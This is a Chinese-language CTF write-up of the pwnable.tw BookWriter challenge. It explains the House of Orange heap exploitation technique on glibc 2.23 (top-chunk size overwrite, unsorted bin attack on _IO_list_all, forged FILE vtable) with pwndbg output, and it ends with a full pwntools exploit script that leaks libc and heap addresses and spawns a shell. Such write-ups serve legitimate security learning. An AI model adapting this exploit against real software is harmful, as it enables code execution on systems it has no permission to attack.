例题
pwnable.tw BookWriter
原理可见
https://github.com/shellphish/how2heap/blob/master/glibc_2.25/house_of_orange.c
(注:此为glibc2.23下的利用方法,由于在glibc2.24中加入了对vtable的检测,所以需要其他利用方法,可以见https://xz.aliyun.com/t/2411
)
参考
https://sunichi.github.io/2018/07/02/pwnable-tw-bookwriter/
https://bbs.pediy.com/thread-223334.htm
思路简介:
-
首先修改top块的size,然后申请一个较大的块(不大于mmap申请的阈值,大于top块当前大小),当修改的size满足一定条件时,原来的top会被释放到unsorted bin。
-
通过堆溢出覆写原top内容,主要是构造IO_file_plus指针中的函数虚表,并伪造bk指针为unsorted bin攻击做铺垫。
-
当再次申请内存时,造成unsorted bin attack,将__IO_list_all覆写为原top头地址,由于unsorted bin结构的破坏,程序异常,会在malloc中调用malloc_printerr函数进行错误打印,在malloc_printerr中调用__libc_message,进一步调用abort(),再调用 _IO_flush_all_lockp(),在其中调用了_IO_OVERFLOW(fp,EOF),这个函数是使用虚表调用,如果可以覆盖调用的虚表,就可以达到执行system('/bin/sh')。
-
伪造的fp的结构应该满足
fp->_mode <= 0
fp->_IO_write_ptr > fp->_IO_write_base
调试
覆写完top_chunk之后,可以在malloc_printerr
和abort
这两个函数下断点。
然后当断在abort
函数的时候,可以查看此时的_IO_list_all指针的变化。
pwndbg> b abort
Breakpoint 1 at 0x7f1dab028ec0: file abort.c, line 51.
然后malloc一个小堆块后在abort处断下来。查看_IO_list_all
的情况
pwndbg> p _IO_list_all
$2 = (struct _IO_FILE_plus *) 0x7f1dab3b6b78 <main_arena+88>
pwndbg> p *(struct _IO_FILE_plus*)_IO_list_all
$1 = {
file = {
_flags = 31375376,
_IO_read_ptr = 0x1dca2a0 "/bin/sh",
_IO_read_end = 0x1dca2a0 "/bin/sh",
_IO_read_base = 0x7f1dab3b7510 "",
_IO_write_base = 0x7f1dab3b6b88 <main_arena+104> "\240\242\334\001",
_IO_write_ptr = 0x7f1dab3b6b88 <main_arena+104> "\240\242\334\001",
_IO_write_end = 0x7f1dab3b6b98 <main_arena+120> "\210k;\253\035\177",
_IO_buf_base = 0x7f1dab3b6b98 <main_arena+120> "\210k;\253\035\177",
_IO_buf_end = 0x7f1dab3b6ba8 <main_arena+136> "\230k;\253\035\177",
_IO_save_base = 0x7f1dab3b6ba8 <main_arena+136> "\230k;\253\035\177",
_IO_backup_base = 0x7f1dab3b6bb8 <main_arena+152> "\250k;\253\035\177",
_IO_save_end = 0x7f1dab3b6bb8 <main_arena+152> "\250k;\253\035\177",
_markers = 0x1dca2a0,
_chain = 0x1dca2a0,
_fileno = -1422169128,
_flags2 = 32541,
_old_offset = 139765403577304,
_cur_column = 27624,
_vtable_offset = 59 ';',
_shortbuf = "\253",
_lock = 0x7f1dab3b6be8 <main_arena+200>,
_offset = 139765403577336,
_codecvt = 0x7f1dab3b6bf8 <main_arena+216>,
_wide_data = 0x7f1dab3b6c08 <main_arena+232>,
_freeres_list = 0x7f1dab3b6c08 <main_arena+232>,
_freeres_buf = 0x7f1dab3b6c18 <main_arena+248>,
__pad5 = 139765403577368,
_mode = -1422169048,
_unused2 = "\035\177\000\000(l;\253\035\177\000\000\070l;\253\035\177\000"
},
vtable = 0x7f1dab3b6c38 <main_arena+280>
}
然后我们看vtable
(vtable = 0x7f1dab3b6c38 <main_arena+280>)改写后的情况
pwndbg> p *(struct _IO_jump_t*)0x7f1dab3b6c38
$3 = {
__dummy = 139765403577384,
__dummy2 = 139765403577384,
__finish = 0x7f1dab3b6c38 <main_arena+280>,
__overflow = 0x7f1dab3b6c38 <main_arena+280>,
__underflow = 0x7f1dab3b6c48 <main_arena+296>,
__uflow = 0x7f1dab3b6c48 <main_arena+296>,
__pbackfail = 0x7f1dab3b6c58 <main_arena+312>,
__xsputn = 0x7f1dab3b6c58 <main_arena+312>,
__xsgetn = 0x7f1dab3b6c68 <main_arena+328>,
__seekoff = 0x7f1dab3b6c68 <main_arena+328>,
__seekpos = 0x7f1dab3b6c78 <main_arena+344>,
__setbuf = 0x7f1dab3b6c78 <main_arena+344>,
__sync = 0x7f1dab3b6c88 <main_arena+360>,
__doallocate = 0x7f1dab3b6c88 <main_arena+360>,
__read = 0x7f1dab3b6c98 <main_arena+376>,
__write = 0x7f1dab3b6c98 <main_arena+376>,
__seek = 0x7f1dab3b6ca8 <main_arena+392>,
__close = 0x7f1dab3b6ca8 <main_arena+392>,
__stat = 0x7f1dab3b6cb8 <main_arena+408>,
__showmanyc = 0x7f1dab3b6cb8 <main_arena+408>,
__imbue = 0x7f1dab3b6cc8 <main_arena+424>
}
PS
覆写top_chunk的大小为0x61这个考虑了很久。
改为0x61的原因:
malloc一个小堆块的时候,会把unsorted bin分配到对应大小的bin中去。通过unsorted bin,将_IO_list_all指针内容修改,可以改到main_arena+88
也就是unsorted bin头的地址。
这个改动的原理是提前布置好top chunk的bk为&_IO_list_all-0x10,具体代码如下,这样就能把_IO_list_all改写为main_arena+88
victim = unsorted_bin(av)->bk = p;
bck = victim->bk = target_addr - 0x10; // victim->bk is p->bk
unsorted_bin(av)->bk = bck;
bck->fd = unsorted_bin(av); // bck->fd is *(target_addr)
当改成这个地址时,其内容时不满足执行_IO_OVERFLOW,转而去寻找位于chain这个位置的地址,继续执行。为了继续构造,可以去把这个地方的地址写成我们能控制内存的地址,这个位置是main_arena+216,是在fastbin链中,堆块大小为0x60的smallbin的地址,可以通过把unsorted bin中的原top挂到smallbin的方法来进一步利用,可把原top头的地址修改成0x61
,并且修改bk指针为&_IO_list_all-0x10
。这样通过malloc新建堆块时,由于unsorted bin中的堆块不唯一,就会把unsorted bin中堆块释放到bin中去,释放原top头时,会把该块挂载到smallbin[4],也就是我们期待的位置去,然后再处理bk指针,也就是_IO_list_all,会触发堆块大小为0的错误,进一步触发malloc_printerr 等一系列函数...
exp
基本上伪造的top_chunk的结构大小不变,有点模板化
# nc chall.pwnable.tw 10304
from pwn import *
debug = 1
elf = ELF('./bookwriter')
if debug:
p = process('./bookwriter')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level = 'debug'
else:
p = remote("chall.pwnable.tw",10304)
libc = ELF('./libc_64.so.6')
context.log_level = 'debug'
def add(num, content):
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('Size of page :')
p.sendline(str(num))
p.recvuntil('Content :')
p.send(content)
def view(num):
p.recvuntil('Your choice :')
p.sendline('2')
p.recvuntil('Index of page :')
p.sendline(str(num))
def edit(num, content):
p.recvuntil('Your choice :')
p.sendline('3')
p.recvuntil('Index of page :')
p.sendline(str(num))
p.recvuntil('Content:')
p.send(content)
def info(num, content):
p.recvuntil('Your choice :')
p.sendline('4')
p.recvuntil('(yes:1 / no:0) ')
p.sendline(str(num))
if(num):
p.recvuntil('Author :')
p.sendline(content)
else:
pass
def leak_heap():
p.recvuntil('Your choice :')
p.sendline('4')
p.recvuntil('a'*0x40)
result = u64(p.recvline()[0:-1].ljust(8, '\0'))
p.recvuntil('(yes:1 / no:0) ')
p.sendline('0')
return result # int(resultq[0:-1],10)
#gdb.attach(p,'b *0x400bdd')
p.recvuntil('Author :')
p.sendline('a'*0x40)
add(0x18, 'a'*0x18) # 0
edit(0, 'a'*0x18)
edit(0, '\0'*0x18+'\xe1'+'\x0f'+'\0')
heap_addr = leak_heap()
for i in range(8):
add(0x40, 'HAPPY000') # 2
view(2)
p.recvuntil('HAPPY000')
libc_addr = u64(p.recvline()[0:-1].ljust(8, '\0')) # leak bk (<main_arena+88>)
# 0x7f5527eafb78 <main_arena+88>
# 0x7f5527aeb000 libc
# 0x7f5527eae6e0 vtable
libc.address = libc_addr - 88 - 0x10 - libc.symbols['__malloc_hook']
log.success('libc_addr:'+hex(libc_addr))
log.success('system: '+hex(libc.symbols['system']))
log.success('heap: '+hex(heap_addr))
edit(0, '\0'*0x290+'/bin/sh\0'+p64(0x61)+p64(libc_addr)+p64(libc.symbols['_IO_list_all']-0x10)+p64(
2)+p64(3)+p64(0)*9+p64(libc.symbols['system']) + p64(0)*11 + p64(heap_addr+0x120+0x60+0x170))
#0x603010+0x290+0x60
# gdb.attach(p)
# p.interactive()
# gdb.attach(p)
# p.interactive()
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('Size of page :')
p.sendline(str(0x10))
p.interactive()
网友评论